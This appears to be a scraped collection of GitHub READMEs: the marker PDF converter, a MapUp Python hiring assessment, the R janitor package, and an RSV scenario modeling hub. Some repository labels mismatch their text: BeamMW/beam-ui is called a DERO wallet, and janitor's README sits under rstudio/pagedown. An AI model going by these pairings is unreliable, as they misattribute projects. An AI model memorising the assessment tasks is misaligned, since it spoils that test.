Clean and format each block (heuristics, nougat)
Combine blocks and postprocess complete text (heuristics, pdf_postprocessor)

Relying on autoregressive forward passes to generate text is slow and prone to hallucination/repetition. From the nougat paper: We observed [repetition] in 1.5% of pages in the test set, but the frequency increases for out-of-domain documents. In my anecdotal testing, repetitions happen on 5%+ of out-of-domain (non-arXiv) pages.

Nougat is an amazing model, but I wanted a faster and more general purpose solution. Marker is 10x faster and has low hallucination risk because it only passes equation blocks through an LLM forward pass.

Examples

PDF	Type	Marker	Nougat
Think Python	Textbook	View	View
Think OS	Textbook	View	View
Switch Transformers	arXiv paper	View	View
Multi-column CNN	arXiv paper	View	View

Performance

The above results are with marker and nougat setup so they each take ~3GB of VRAM on an A6000.

See below for detailed speed and accuracy benchmarks, and instructions on how to run your own benchmarks.

Limitations

PDF is a tricky format, so marker will not always work perfectly. Here are some known limitations that are on the roadmap to address:

Marker will convert fewer equations to latex than nougat. This is because it has to first detect equations, then convert them without hallucation.
Whitespace and indentations are not always respected.
Not all lines/spans will be joined properly.
Only languages similar to English (Spanish, French, German, Russian, etc) are supported. Languages with different character sets (Chinese, Japanese, Korean, etc) are not.
This works best on digital PDFs that won't require a lot of OCR. It's optimized for speed, and limited OCR is used to fix errors.

Installation

This has been tested on Mac and Linux (Ubuntu and Debian). You'll need python 3.9+ and poetry.

First, clone the repo:

git clone https://github.com/VikParuchuri/marker.git
cd marker

Linux

Install system requirements
- Optional: Install tesseract 5 by following these instructions or running scripts/install/tesseract_5_install.sh.
- Install ghostscript > 9.55 by following these instructions or running scripts/install/ghostscript_install.sh.
- Install other requirements with cat scripts/install/apt-requirements.txt | xargs sudo apt-get install -y
Set the tesseract data folder path
- Find the tesseract data folder tessdata with find / -name tessdata. Make sure to use the one corresponding to the latest tesseract version if you have multiple.
- Create a local.env file in the root marker folder with TESSDATA_PREFIX=/path/to/tessdata inside it
Install python requirements
- poetry install
- poetry shell to activate your poetry venv
Update pytorch since poetry doesn't play nicely with it
- GPU only: run pip install torch to install other torch dependencies.
- CPU only: Uninstall torch with poetry remove torch, then follow the CPU install instructions.

Mac

Install system requirements from scripts/install/brew-requirements.txt
Set the tesseract data folder path
- Find the tesseract data folder tessdata with brew list tesseract
- Create a local.env file in the root marker folder with TESSDATA_PREFIX=/path/to/tessdata inside it
Install python requirements
- poetry install
- poetry shell to activate your poetry venv

Usage

First, some configuration:

Set your torch device in the local.env file. For example, TORCH_DEVICE=cuda or TORCH_DEVICE=mps. cpu is the default.
- If using GPU, set INFERENCE_RAM to your GPU VRAM (per GPU). For example, if you have 16 GB of VRAM, set INFERENCE_RAM=16.
- Depending on your document types, marker's average memory usage per task can vary slightly. You can configure VRAM_PER_TASK to adjust this if you notice tasks failing with GPU out of memory errors.
Inspect the other settings in marker/settings.py. You can override any settings in the local.env file, or by setting environment variables.
- By default, the final editor model is off. Turn it on with ENABLE_EDITOR_MODEL.
- By default, marker will use ocrmypdf for OCR, which is slower than base tesseract, but higher quality. You can change this with the OCR_ENGINE setting.

Convert a single file

Run convert_single.py, like this:

python convert_single.py /path/to/file.pdf /path/to/output.md --parallel_factor 2 --max_pages 10

--parallel_factor is how much to increase batch size and parallel OCR workers by. Higher numbers will take more VRAM and CPU, but process faster. Set to 1 by default.
--max_pages is the maximum number of pages to process. Omit this to convert the entire document.

Make sure the DEFAULT_LANG setting is set appropriately for your document.

Convert multiple files

Run convert.py, like this:

python convert.py /path/to/input/folder /path/to/output/folder --workers 10 --max 10 --metadata_file /path/to/metadata.json --min_length 10000

--workers is the number of pdfs to convert at once. This is set to 1 by default, but you can increase it to increase throughput, at the cost of more CPU/GPU usage. Parallelism will not increase beyond INFERENCE_RAM / VRAM_PER_TASK if you're using GPU.
--max is the maximum number of pdfs to convert. Omit this to convert all pdfs in the folder.
--metadata_file is an optional path to a json file with metadata about the pdfs. If you provide it, it will be used to set the language for each pdf. If not, DEFAULT_LANG will be used. The format is:
--min_length is the minimum number of characters that need to be extracted from a pdf before it will be considered for processing. If you're processing a lot of pdfs, I recommend setting this to avoid OCRing pdfs that are mostly images. (slows everything down)

{
  "pdf1.pdf": {"language": "English"},
  "pdf2.pdf": {"language": "Spanish"},
  ...
}

Convert multiple files on multiple GPUs

Run chunk_convert.sh, like this:

MIN_LENGTH=10000 METADATA_FILE=../pdf_meta.json NUM_DEVICES=4 NUM_WORKERS=15 bash chunk_convert.sh ../pdf_in ../md_out

METADATA_FILE is an optional path to a json file with metadata about the pdfs. See above for the format.
NUM_DEVICES is the number of GPUs to use. Should be 2 or greater.
NUM_WORKERS is the number of parallel processes to run on each GPU. Per-GPU parallelism will not increase beyond INFERENCE_RAM / VRAM_PER_TASK.
MIN_LENGTH is the minimum number of characters that need to be extracted from a pdf before it will be considered for processing. If you're processing a lot of pdfs, I recommend setting this to avoid OCRing pdfs that are mostly images. (slows everything down)

Benchmarks

Benchmarking PDF extraction quality is hard. I've created a test set by finding books and scientific papers that have a pdf version and a latex source. I convert the latex to text, and compare the reference to the output of text extraction methods.

Benchmarks show that marker is 10x faster than nougat, and more accurate outside arXiv (nougat was trained on arXiv data). We show naive text extraction (pulling text out of the pdf with no processing) for comparison.

Speed

Method	Average Score	Time per page	Time per document
naive	0.350727	0.00152378	0.326524
marker	0.641062	0.360622	77.2762
nougat	0.629211	3.77259	808.413

Accuracy

First 3 are non-arXiv books, last 3 are arXiv papers.

Method	switch_trans.pdf	crowd.pdf	multicolcnn.pdf	thinkos.pdf	thinkdsp.pdf	thinkpython.pdf
naive	0.244114	0.140669	0.0868221	0.366856	0.412521	0.468281
marker	0.482091	0.466882	0.537062	0.754347	0.78825	0.779536
nougat	0.696458	0.552337	0.735099	0.655002	0.645704	0.650282

Peak GPU memory usage during the benchmark is 3.3GB for nougat, and 3.1GB for marker. Benchmarks were run on an A6000.

Throughput

Marker takes about 2GB of VRAM on average per task, so you can convert 24 documents in parallel on an A6000.

Running your own benchmarks

You can benchmark the performance of marker on your machine. First, download the benchmark data here and unzip.

Then run benchmark.py like this:

python benchmark.py data/pdfs data/references report.json --nougat

This will benchmark marker against other text extraction methods. It sets up batch sizes for nougat and marker to use a similar amount of GPU RAM for each.

Omit --nougat to exclude nougat from the benchmark. I don't recommend running nougat on CPU, since it is very slow.

Commercial usage

Due to the licensing of the underlying models like layoutlmv3 and nougat, this is only suitable for noncommercial usage.

I'm building a version that can be used commercially, by stripping out the dependencies below. If you would like to get early access, email me at marker@vikas.sh.

Here are the non-commercial/restrictive dependencies:

LayoutLMv3: CC BY-NC-SA 4.0 . Source
Nougat: CC-BY-NC . Source
PyMuPDF - GPL . Source

Other dependencies/datasets are openly licensed (doclaynet, byt5), or used in a way that is compatible with commercial usage (ghostscript).

Thanks

This work would not have been possible without amazing open source models and datasets, including (but not limited to):

Nougat from Meta
Layoutlmv3 from Microsoft
DocLayNet from IBM
ByT5 from Google

Thank you to the authors of these models and datasets for making them available to the community!

mapup/MapUp-Data-Assessment-F

2023-12-12T01:57:32Z

MapUp - Python Assessment

Overview

This assessment is designed to evaluate your proficiency in Python programming, data manipulation, and analysis, as well as your ability to work with Excel. Below, you'll find details on each component of the assessment and the tasks you should complete. Best of luck!

Important Points to Note:

The assessment will be tested using our internal set of test cases. Scripts must be developed in accordance with the template shared. Please use the following template to create your scripts:
- 📂 templates
  - 📄 python_task_1.py
  - 📄 python_task_2.py
We've clearly outlined the interfaces of our functions, specifying the input and output data types with distinct signatures.
Any deviation especially in naming conventions and providing arguments will impact the correct assessment of your work

Submission structure

There should be a folder named submissions in the root of your repository. This folder should contain the following:

📂 your_cloned_repo
- 📂 submissions
  - 📄 python_task_1.py
  - 📄 python_task_2.py
  - 📄 excel_assessment.xlsm
- 📂 templates
- 📂 datasets

Result Submission:

Data that you need to work with is in the folder datasets. Store your process outputs in the structure mentioned below
Clone the provided GitHub repository.
Add the following members as collaborators to your repo
- venkateshn@mapup.ai
- namanjeetsingh@mapup.ai
- saranshj@mapup.ai
- varuna@mapup.ai
Submit the link to your repository via the provided Google Form for evaluation.

MapUp - Excel Assessment

You have to submit an excel assessment along with your python task. This evaluation tests your proficiency in Conditional Formatting, Excel Formulae, and Data Manipulation

Python Task 1

Question 1: Car Matrix Generation

Under the function named generate_car_matrix write a logic that takes the dataset-1.csv as a DataFrame. Return a new DataFrame that follows the following rules:

values from id_2 as columns
values from id_1 as index
dataframe should have values from car column
diagonal values should be 0.

Sample result dataframe:

Question 2: Car Type Count Calculation

Create a Python function named get_type_count that takes the dataset-1.csv as a DataFrame. Add a new categorical column car_type based on values of the column car:

low for values less than or equal to 15,
medium for values greater than 15 and less than or equal to 25,
high for values greater than 25.

Calculate the count of occurrences for each car_type category and return the result as a dictionary. Sort the dictionary alphabetically based on keys.

Question 3: Bus Count Index Retrieval

Create a Python function named get_bus_indexes that takes the dataset-1.csv as a DataFrame. The function should identify and return the indices as a list (sorted in ascending order) where the bus values are greater than twice the mean value of the bus column in the DataFrame.

Question 4: Route Filtering

Create a python function filter_routes that takes the dataset-1.csv as a DataFrame. The function should return the sorted list of values of column route for which the average of values of truck column is greater than 7.

Question 5: Matrix Value Modification

Create a Python function named multiply_matrix that takes the resulting DataFrame from Question 1, as input and modifies each value according to the following logic:

If a value in the DataFrame is greater than 20, multiply those values by 0.75,
If a value is 20 or less, multiply those values by 1.25.

The function should return the modified DataFrame which has values rounded to 1 decimal place.

Sample result dataframe:

Question 6: Time Check

You are given a dataset, dataset-2.csv, containing columns id, id_2, and timestamp (startDay, startTime, endDay, endTime). The goal is to verify the completeness of the time data by checking whether the timestamps for each unique (id, id_2) pair cover a full 24-hour period (from 12:00:00 AM to 11:59:59 PM) and span all 7 days of the week (from Monday to Sunday).

Create a function that accepts dataset-2.csv as a DataFrame and returns a boolean series that indicates if each (id, id_2) pair has incorrect timestamps. The boolean series must have multi-index (id, id_2).

Python Task 2

Question 1: Distance Matrix Calculation

Create a function named calculate_distance_matrix that takes the dataset-3.csv as input and generates a DataFrame representing distances between IDs.

The resulting DataFrame should have cumulative distances along known routes, with diagonal values set to 0. If distances between toll locations A to B and B to C are known, then the distance from A to C should be the sum of these distances. Ensure the matrix is symmetric, accounting for bidirectional distances between toll locations (i.e. A to B is equal to B to A).

Sample result dataframe:

Question 2: Unroll Distance Matrix

Create a function unroll_distance_matrix that takes the DataFrame created in Question 1. The resulting DataFrame should have three columns: columns id_start, id_end, and distance.

All the combinations except for same id_start to id_end must be present in the rows with their distance values from the input DataFrame.

Question 3: Finding IDs within Percentage Threshold

Create a function find_ids_within_ten_percentage_threshold that takes the DataFrame created in Question 2 and a reference value from the id_start column as an integer.

Calculate average distance for the reference value given as an input and return a sorted list of values from id_start column which lie within 10% (including ceiling and floor) of the reference value's average.

Question 4: Calculate Toll Rate

Create a function calculate_toll_rate that takes the DataFrame created in Question 2 as input and calculates toll rates based on vehicle types.

The resulting DataFrame should add 5 columns to the input DataFrame: moto, car, rv, bus, and truck with their respective rate coefficients. The toll rates should be calculated by multiplying the distance with the given rate coefficients for each vehicle type:

0.8 for moto
1.2 for car
1.5 for rv
2.2 for bus
3.6 for truck

Sample result dataframe:

Question 5: Calculate Time-Based Toll Rates

Create a function named calculate_time_based_toll_rates that takes the DataFrame created in Question 4 as input and calculates toll rates for different time intervals within a day.

The resulting DataFrame should have these five columns added to the input: start_day, start_time, end_day, and end_time.

start_day, end_day must be strings with day values (from Monday to Sunday in proper case)
start_time and end_time must be of type datetime.time() with the values from time range given below.

Modify the values of vehicle columns according to the following time ranges:

Weekdays (Monday - Friday):

From 00:00:00 to 10:00:00: Apply a discount factor of 0.8
From 10:00:00 to 18:00:00: Apply a discount factor of 1.2
From 18:00:00 to 23:59:59: Apply a discount factor of 0.8

Weekends (Saturday and Sunday):

Apply a constant discount factor of 0.7 for all times.

For each unique (id_start, id_end) pair, cover a full 24-hour period (from 12:00:00 AM to 11:59:59 PM) and span all 7 days of the week (from Monday to Sunday).

Sample result dataframe:

BeamMW/beam-ui

2023-12-12T01:57:47Z

DERO GUI wallet in Golang with QT bindings.

rstudio/pagedown

2023-12-12T01:57:49Z

simple tools for data cleaning in R

janitor

Data scientists, according to interviews and expert estimates, spend from 50 percent to 80 percent of their time mired in this more mundane labor of collecting and preparing unruly digital data, before it can be explored for useful nuggets.

– “For Big-Data Scientists, ‘Janitor Work’ Is Key Hurdle to Insight” (New York Times, 2014)

janitor has simple functions for examining and cleaning dirty data. It was built with beginning and intermediate R users in mind and is optimized for user-friendliness. Advanced R users can perform many of these tasks already, but with janitor they can do it faster and save their thinking for the fun stuff.

The main janitor functions:

perfectly format data.frame column names;
create and format frequency tables of one, two, or three variables - think an improved table(); and
provide other tools for cleaning and examining data.frames.

The tabulate-and-report functions approximate popular features of SPSS and Microsoft Excel.

janitor is a #tidyverse-oriented package. Specifically, it plays nicely with the %>% pipe and is optimized for cleaning data brought in with the readr and readxl packages.

Installation

You can install:

the most recent officially-released version from CRAN with

install.packages("janitor")

the latest development version from GitHub with

# install.packages("remotes")
remotes::install_github("sfirke/janitor")
# or from r-universe
install.packages("janitor", repos = c("https://sfirke.r-universe.dev", "https://cloud.r-project.org"))

Using janitor

A full description of each function, organized by topic, can be found in janitor’s catalog of functions vignette. There you will find functions not mentioned in this README, like compare_df_cols() which provides a summary of differences in column names and types when given a set of data.frames.

Below are quick examples of how janitor tools are commonly used.

Cleaning dirty data

Take this roster of teachers at a fictional American high school, stored in the Microsoft Excel file dirty_data.xlsx:

Dirtiness includes:

A header at the top
Dreadful column names
Rows and columns containing Excel formatting but no data
Dates in two different formats in a single column (MM/DD/YYYY and numbers)
Values spread inconsistently over the “Certification” columns

Here’s that data after being read in to R:

library(readxl)
library(janitor)
library(dplyr)
library(here)

roster_raw <- read_excel(here("dirty_data.xlsx")) # available at https://github.com/sfirke/janitor
glimpse(roster_raw)
#> Rows: 14
#> Columns: 11
#> $ `Data most recently refreshed on:` <chr> "First Name", "Jason", "Jason", "Alicia", "Ada", "Desus", "Chien-…
#> $ ...2                               <chr> "Last Name", "Bourne", "Bourne", "Keys", "Lovelace", "Nice", "Wu"…
#> $ ...3                               <chr> "Employee Status", "Teacher", "Teacher", "Teacher", "Teacher", "A…
#> $ `Dec-27 2020`                      <chr> "Subject", "PE", "Drafting", "Music", NA, "Dean", "Physics", "Che…
#> $ ...5                               <chr> "Hire Date", "39690", "43479", "37118", "38572", "42791", "11037"…
#> $ ...6                               <chr> "% Allocated", "0.75", "0.25", "1", "1", "1", "0.5", "0.5", NA, "…
#> $ ...7                               <chr> "Full time?", "Yes", "Yes", "Yes", "Yes", "Yes", "Yes", "Yes", NA…
#> $ ...8                               <chr> "do not edit! --->", NA, NA, NA, NA, NA, NA, NA, NA, NA, NA, NA, …
#> $ ...9                               <chr> "Certification", "Physical ed", "Physical ed", "Instr. music", "P…
#> $ ...10                              <chr> "Certification", "Theater", "Theater", "Vocal music", "Computers"…
#> $ ...11                              <chr> "Active?", "YES", "YES", "YES", "YES", "YES", "YES", "YES", NA, "…

Now, to clean it up, starting with the column names.

Name cleaning comes in two flavors. make_clean_names() operates on character vectors and can be used during data import:

roster_raw_cleaner <- read_excel(here("dirty_data.xlsx"),
  skip = 1,
  .name_repair = make_clean_names
)
glimpse(roster_raw_cleaner)
#> Rows: 13
#> Columns: 11
#> $ first_name        <chr> "Jason", "Jason", "Alicia", "Ada", "Desus", "Chien-Shiung", "Chien-Shiung", NA, "J…
#> $ last_name         <chr> "Bourne", "Bourne", "Keys", "Lovelace", "Nice", "Wu", "Wu", NA, "Joyce", "Lamarr",…
#> $ employee_status   <chr> "Teacher", "Teacher", "Teacher", "Teacher", "Administration", "Teacher", "Teacher"…
#> $ subject           <chr> "PE", "Drafting", "Music", NA, "Dean", "Physics", "Chemistry", NA, "English", "Sci…
#> $ hire_date         <dbl> 39690, 43479, 37118, 38572, 42791, 11037, 11037, NA, 36423, 27919, 42221, 34700, 4…
#> $ percent_allocated <dbl> 0.75, 0.25, 1.00, 1.00, 1.00, 0.50, 0.50, NA, 0.50, 0.50, NA, NA, 0.80
#> $ full_time         <chr> "Yes", "Yes", "Yes", "Yes", "Yes", "Yes", "Yes", NA, "No", "No", "No", "No", "No"
#> $ do_not_edit       <lgl> NA, NA, NA, NA, NA, NA, NA, NA, NA, NA, NA, NA, NA
#> $ certification     <chr> "Physical ed", "Physical ed", "Instr. music", "PENDING", "PENDING", "Science 6-12"…
#> $ certification_2   <chr> "Theater", "Theater", "Vocal music", "Computers", NA, "Physics", "Physics", NA, "E…
#> $ active            <chr> "YES", "YES", "YES", "YES", "YES", "YES", "YES", NA, "YES", "YES", "YES", "YES", "…

clean_names() is a convenience version of make_clean_names() that can be used for piped data.frame workflows. The equivalent steps with clean_names() would be:

roster_raw <- roster_raw %>%
  row_to_names(row_number = 1) %>%
  clean_names()

The data.frame now has clean names. Let’s tidy it up further:

roster <- roster_raw %>%
  remove_empty(c("rows", "cols")) %>%
  remove_constant(na.rm = TRUE, quiet = FALSE) %>% # remove the column of all "Yes" values
  mutate(
    hire_date = convert_to_date(
      hire_date, # handle the mixed-format dates
      character_fun = lubridate::mdy
    ),
    cert = dplyr::coalesce(certification, certification_2)
  ) %>%
  select(-certification, -certification_2) # drop unwanted columns
#> Removing 1 constant columns of 10 columns total (Removed: active).

roster
#> # A tibble: 12 × 8
#>    first_name   last_name employee_status subject    hire_date  percent_allocated full_time cert          
#>    <chr>        <chr>     <chr>           <chr>      <date>     <chr>             <chr>     <chr>         
#>  1 Jason        Bourne    Teacher         PE         2008-08-30 0.75              Yes       Physical ed   
#>  2 Jason        Bourne    Teacher         Drafting   2019-01-14 0.25              Yes       Physical ed   
#>  3 Alicia       Keys      Teacher         Music      2001-08-15 1                 Yes       Instr. music  
#>  4 Ada          Lovelace  Teacher         <NA>       2005-08-08 1                 Yes       PENDING       
#>  5 Desus        Nice      Administration  Dean       2017-02-25 1                 Yes       PENDING       
#>  6 Chien-Shiung Wu        Teacher         Physics    1930-03-20 0.5               Yes       Science 6-12  
#>  7 Chien-Shiung Wu        Teacher         Chemistry  1930-03-20 0.5               Yes       Science 6-12  
#>  8 James        Joyce     Teacher         English    1999-09-20 0.5               No        English 6-12  
#>  9 Hedy         Lamarr    Teacher         Science    1976-06-08 0.5               No        PENDING       
#> 10 Carlos       Boozer    Coach           Basketball 2015-08-05 <NA>              No        Physical ed   
#> 11 Young        Boozer    Coach           <NA>       1995-01-01 <NA>              No        Political sci.
#> 12 Micheal      Larsen    Teacher         English    2009-09-15 0.8               No        Vocal music

Examining dirty data

Finding duplicates

Use get_dupes() to identify and examine duplicate records during data cleaning. Let’s see if any teachers are listed more than once:

roster %>% get_dupes(contains("name"))
#> # A tibble: 4 × 9
#>   first_name   last_name dupe_count employee_status subject   hire_date  percent_allocated full_time cert     
#>   <chr>        <chr>          <int> <chr>           <chr>     <date>     <chr>             <chr>     <chr>    
#> 1 Chien-Shiung Wu                 2 Teacher         Physics   1930-03-20 0.5               Yes       Science …
#> 2 Chien-Shiung Wu                 2 Teacher         Chemistry 1930-03-20 0.5               Yes       Science …
#> 3 Jason        Bourne             2 Teacher         PE        2008-08-30 0.75              Yes       Physical…
#> 4 Jason        Bourne             2 Teacher         Drafting  2019-01-14 0.25              Yes       Physical…

Yes, some teachers appear twice. We ought to address this before counting employees.

Tabulating tools

A variable (or combinations of two or three variables) can be tabulated with tabyl(). The resulting data.frame can be tweaked and formatted with the suite of adorn_ functions for quick analysis and printing of pretty results in a report. adorn_ functions can be helpful with non-tabyls, too.

`tabyl()`

Like table(), but pipe-able, data.frame-based, and fully featured.

tabyl() can be called two ways:

On a vector, when tabulating a single variable: tabyl(roster$subject)
On a data.frame, specifying 1, 2, or 3 variable names to tabulate: roster %>% tabyl(subject, employee_status).
- Here the data.frame is passed in with the %>% pipe; this allows tabyl to be used in an analysis pipeline

One variable:

roster %>%
  tabyl(subject)
#>     subject n    percent valid_percent
#>  Basketball 1 0.08333333           0.1
#>   Chemistry 1 0.08333333           0.1
#>        Dean 1 0.08333333           0.1
#>    Drafting 1 0.08333333           0.1
#>     English 2 0.16666667           0.2
#>       Music 1 0.08333333           0.1
#>          PE 1 0.08333333           0.1
#>     Physics 1 0.08333333           0.1
#>     Science 1 0.08333333           0.1
#>        <NA> 2 0.16666667            NA

Two variables:

roster %>%
  filter(hire_date > as.Date("1950-01-01")) %>%
  tabyl(employee_status, full_time)
#>  employee_status No Yes
#>   Administration  0   1
#>            Coach  2   0
#>          Teacher  3   4

Three variables:

roster %>%
  tabyl(full_time, subject, employee_status, show_missing_levels = FALSE)
#> $Administration
#>  full_time Dean
#>        Yes    1
#> 
#> $Coach
#>  full_time Basketball NA_
#>         No          1   1
#> 
#> $Teacher
#>  full_time Chemistry Drafting English Music PE Physics Science NA_
#>         No         0        0       2     0  0       0       1   0
#>        Yes         1        1       0     1  1       1       0   1

Adorning tabyls

The adorn_ functions dress up the results of these tabulation calls for fast, basic reporting. Here are some of the functions that augment a summary table for reporting:

roster %>%
  tabyl(employee_status, full_time) %>%
  adorn_totals("row") %>%
  adorn_percentages("row") %>%
  adorn_pct_formatting() %>%
  adorn_ns() %>%
  adorn_title("combined")
#>  employee_status/full_time         No        Yes
#>             Administration   0.0% (0) 100.0% (1)
#>                      Coach 100.0% (2)   0.0% (0)
#>                    Teacher  33.3% (3)  66.7% (6)
#>                      Total  41.7% (5)  58.3% (7)

Pipe that right into knitr::kable() in your RMarkdown report.

These modular adornments can be layered to reduce R’s deficit against Excel and SPSS when it comes to quick, informative counts. Learn more about tabyl() and the adorn_ functions from the tabyls vignette.

Contact me

You are welcome to:

submit suggestions and report bugs: https://github.com/sfirke/janitor/issues
let me know what you think on Mastodon: @samfirke@a2mi.social
compose a friendly e-mail to:

midas-network/rsv-scenario-modeling-hub

2023-12-13T01:42:35Z

RSV Scenario Modeling Hub

Last updated: 27-10-2023 for Round 1 Scenarios.

Rationale

Even the best models of infectious disease transmission struggle to give accurate forecasts at time scales greater than 3-4 weeks due to unpredictable drivers like changing policy environments, behavior change, development of new control measures, and stochastic events. However, policy decisions around the course of infectious diseases, particularly emerging and seasonal infections, often require projections in the time frame of months. The goal of long-term projections is to compare outbreak trajectories under different scenarios, as opposed to offering a specific, unconditional estimate of what “will” happen. As such, long-term projections can guide longer-term decision-making while short-term forecasts are more useful for situational awareness and guiding immediate response.

We have specified a set of scenarios and target outcomes to allow alignment of model projections for collective insights. Scenarios have been designed in consultation with academic modeling teams and government agencies (e.g., CDC).

This repository follows the guidelines and standards outlined by the hubverse, which provides a set of data formats and open source tools for modeling hubs.

How to participate

The RSV Scenario Modeling Hub is open to any team willing to provide projections at the right temporal and spatial scales, with minimal gatekeeping. We only require that participating teams share point estimates and uncertainty bounds, along with a short model description and answers to a list of key questions about design. A major output of the projection hub is ensemble estimates of epidemic outcomes (e.g., infection, hospitalizations, and deaths), for different time points, intervention scenarios, and US jurisdictions.

Those interested to participate, please read the README file and email us at scenariohub@midasnetwork.us .

Model projections should be submitted via pull request to the model-output/ folder and associated metadata should be submitted at the same time to the model-metadata/ folder of this GitHub repository. Technical instructions for submission and required file formats can be found here, here, for the metadata file and in the Wiki.

Round 1: Impact of new interventions - Mid-season projections for the 2023-24 season

The primary goal of SMH RSV Round 1 is to build capacity within the hub to model Respiratory Syncytial Virus (RSV) dynamics in the US and assess the feasibility of modeling this pathogen at the scale of the US given limited availability of epidemiological data. A secondary goal is to use nascent RSV modeling capabilities to generate ensemble projections for the impact of new interventions that are coming online during the 2023-24 season. We will consider 5 scenarios in total, following a 2*2 table describing the impact of long-acting monoclonals targeted at infants (first dimension, optimistic and pessimistic protection) and senior vaccination (second dimension, optimistic and pessimistic protection). A 5th counterfactual scenario will consider status quo RSV mitigation. Projections will be generated for a 29-week period, running Sun Nov 12, 2023 to Sat June 1, 2024. The scenario structure is as follows:

Assumptions regarding RSV interventions

Weekly cumulative age-specific coverage for vaccines and monoclonals are provided.

We describe important details of the planned implementation of RSV interventions below as well as our rationale for vaccine coverage and effectiveness assumptions.

Implementation of RSV Interventions

Infants

Long-acting monoclonal antibodies (nirsevimab) were recommended for prophylactic use in infants on August 3, 2023, and an update due to limited availability in the 2023-24 season was issued on October 23, 2023. Current recommendations are that all infants aged <6 months who are born during or entering their first RSV season should be prioritized to receive the new monoclonals. Older children up to 19 months who are at increased risk for severe RSV disease should not be prioritized for the new monoclonals. Older children at high risk will continue to receive the older monoclonals used in prior years. We require that teams implement new monoclonal interventions in infants <6 months, while explicit consideration of interventions in older high-risk babies (a small fraction of all US babies, see later) is at teams’ discretion. The new long-acting monoclonals will be administered in most of the continental United States from October through the end of March, the months of highest RSV activity.

For infants < 6 months the process is as follows:

during the RSV season Oct 2023-Mar 2024, a fraction of all newborns will receive long-acting monoclonals at birth (fraction based on weekly monoclonal coverage)
a fraction of infants who are born from Apr-Sep 2023 and are <6 months at the start of the season will receive a catch up dose of monoclonals during the RSV season, Oct 2023-Mar 2024 (also based on weekly coverage). No infant >= 6 months can receive monoclonals.

Seniors

Senior RSV vaccination was recommended in July 2023 for individuals over 60 yrs. We recommend that teams consider vaccination in all individuals 60+ yrs, even though the hospitalisation target data is only available for individuals 65+ yrs. However the exact implementation of targeting 60+ yrs is left at teams’ discretion. Vaccination will proceed seasonally, similarly to the flu vaccine, between Sep 2023 (slightly slower start than flu vaccine) and June 2024. Because RSV is not a well known pathogen among seniors, and recommendations stipulate that vaccination should occur after consultation with a physician (unlike flu), we assume that the intervention will have limited uptake.

Coverage assumptions

We will index the coverage of RSV interventions on flu vaccine coverage in a given state and relevant age group to reflect different propensities of different states to adopt new health interventions. The roll out of RSV interventions is likely to be slow since it is the first year interventions have been approved, and there are shortages and fee reimbursement issues for infant interventions.

CDC flu vaccine curves from 2021-22 will be used to estimate anticipated coverage of RSV interventions (similarly to recent flu and COVID-19 rounds). Specifically, for infants, weekly interpolated flu coverage will be shifted by 2 months (monoclonals will start on Oct 1, 2023) and administration will end at the end of March 2024 to reflect i) a late start of RSV interventions in the 2023-24 season and ii) CDC recommendations. For seniors, we will use the actual timing of flu vaccination shifted by only one month since the RSV vaccine was recommended in the summer. For both infants and seniors, weekly flu vaccine estimates will be adjusted for the intended level of RSV coverage saturation. We generally expect real coverage in 2023-24 to track with our pessimistic coverage assumptions, while we have chosen optimistic levels of coverage that would reflect potential benefits in a future season with no shortage and more awareness of these interventions. Senior and infant vaccination coverage curves are provided for all projection weeks and target locations, in the Github auxiliary data folder

VE Assumptions

We stipulate VE against hospitalizations for both senior vaccination and infant monoclonals, since severe RSV disease is the primary endpoint of most clinical trials (generally lower respiratory tract infection or RSV-associated hospitalizations, see literature below). Scenario assumption values are based on optimistic and pessimistic interpretation of the randomized control trial data. For seniors, VE values considered are 70% (scenarios B, D) and 90% (scenarios A, C).
For infants, VE values considered are 60% (scenarios C, D) and 80% (scenarios A, B).

RCTs – senior vaccines:

GSK, Papi et al
Pfizer, Walsh et al

RCTs in infants - Nirsevimab:

Full term infants, Hammitt et al
Pre-term infants, Griffin et al

It is at teams’ discretion to proportionate VE values into protection against infection, protection against severe disease given infection, and any effect on transmission. However note that the current thinking and available data suggests a very limited protection against infection, Wilkins et al, if any. There is no data on transmission and the possible impact on these interventions on RSV shedding, so a small to moderate transmission effect cannot be ruled out.

Assumptions about duration of protection

We do not prescribe a specific duration of protection for senior vaccination or infant monoclonals. Teams can refer to existing literature cited in the above section. As a general guideline, monoclonals are expected to provide protection for a mean of 6 months, while senior protection remains relatively stable within 2 years of vaccination.

Other RSV-specific interventions

None of the scenarios consider maternal vaccination (to protect infants after birth) since maternal interventions are not expected to have high enough coverage to make a significant impact on the 2023-24 season at the time of scenario specification. Teams should not model maternal vaccines. Consideration of non-specific RSV interventions such as a low level of residual masking is allowed.

Counterfactual scenario (scenario E)

In this scenario, we consider no change to the historic policy of RSV mitigation, which consists in a limited coverage of palivizumab monoclonals to high-risk premature infants (~2% of the US birth cohort receives a partial or full dose, Ambrose et al). The calibration data available from 2017-present takes into account the impact of this intervention. Teams have discretion to consider this policy explicitly or ignore it given the small fraction of infants covered. We note that high risk premature infants <6mo who previously would have received palivizumab (the older treatment) will now receive the new monoclonal nirsevimab, with comparable effectiveness. Due to shortages in 2023-24, older high risk babies will keep receiving palivizumab this season.

Fig 1: RSV vaccination coverage ramp up in seniors 60+ yrs

Fig 2: RSV monoclonals usage ramp up in infants <6 mo throughout the RSV season Oct-Mar

RSV Model Calibration

RSV-NET Dataset

Age- and state-specific data on laboratory-confirmed RSV hospitalization rates are available for 12 states and the US from RSV-NET spanning 2017-18 to present (RSV-NET CDC Webpage). RSV-NET is an RSV hospitalization surveillance network that collects data on laboratory-confirmed RSV-associated hospitalizations through a network of acute care hospitals in a subset of states (12 states as of August 2023). Age-specific weekly rates per 100,000 population are reported in this system.

The data has been standardized and posted on the SMH RSV github target-data/ folder and is updated weekly. The target in this data is the weekly number of hospitalizations in each given state (inc_hosp variable), for all ages and by age group. To obtain counts, we have converted RSV-NET weekly rates based on state population sizes. This method assumes that RSV-NET hospitals are representative of the whole state. To obtain national US counts, we have used the rates provided for the “overall RSV-NET network”. The data covers 2017-present. Reported age groups include: [0-6 months[, [6-12 months[, [1-2 yr[, [2-4 yr[, [5-17 yr[, [18-49 yr[, [50-64 yr[, and 65+ years. The standardized dataset provided by SMH includes week- state- and age-specific RSV counts (the target), rates, and population sizes. Note that different states joined RSVnet in different years (between 2014 and 2018) while RSV surveillance throughout the network was initially limited to adults. Children RSV surveillance began in the 2018-19 season.

The source of age distribution used for calibration (RSV-NET vs other estimates) should be provided in the abstract metadata that is submitted with the projections.

Other RSV datasets available for calibration

A few auxiliary datasets have been posted in the GitHub repositority auxiliary-data/ folder including:

state-specific CDC surveillance from NVERSS (only last year of data available)
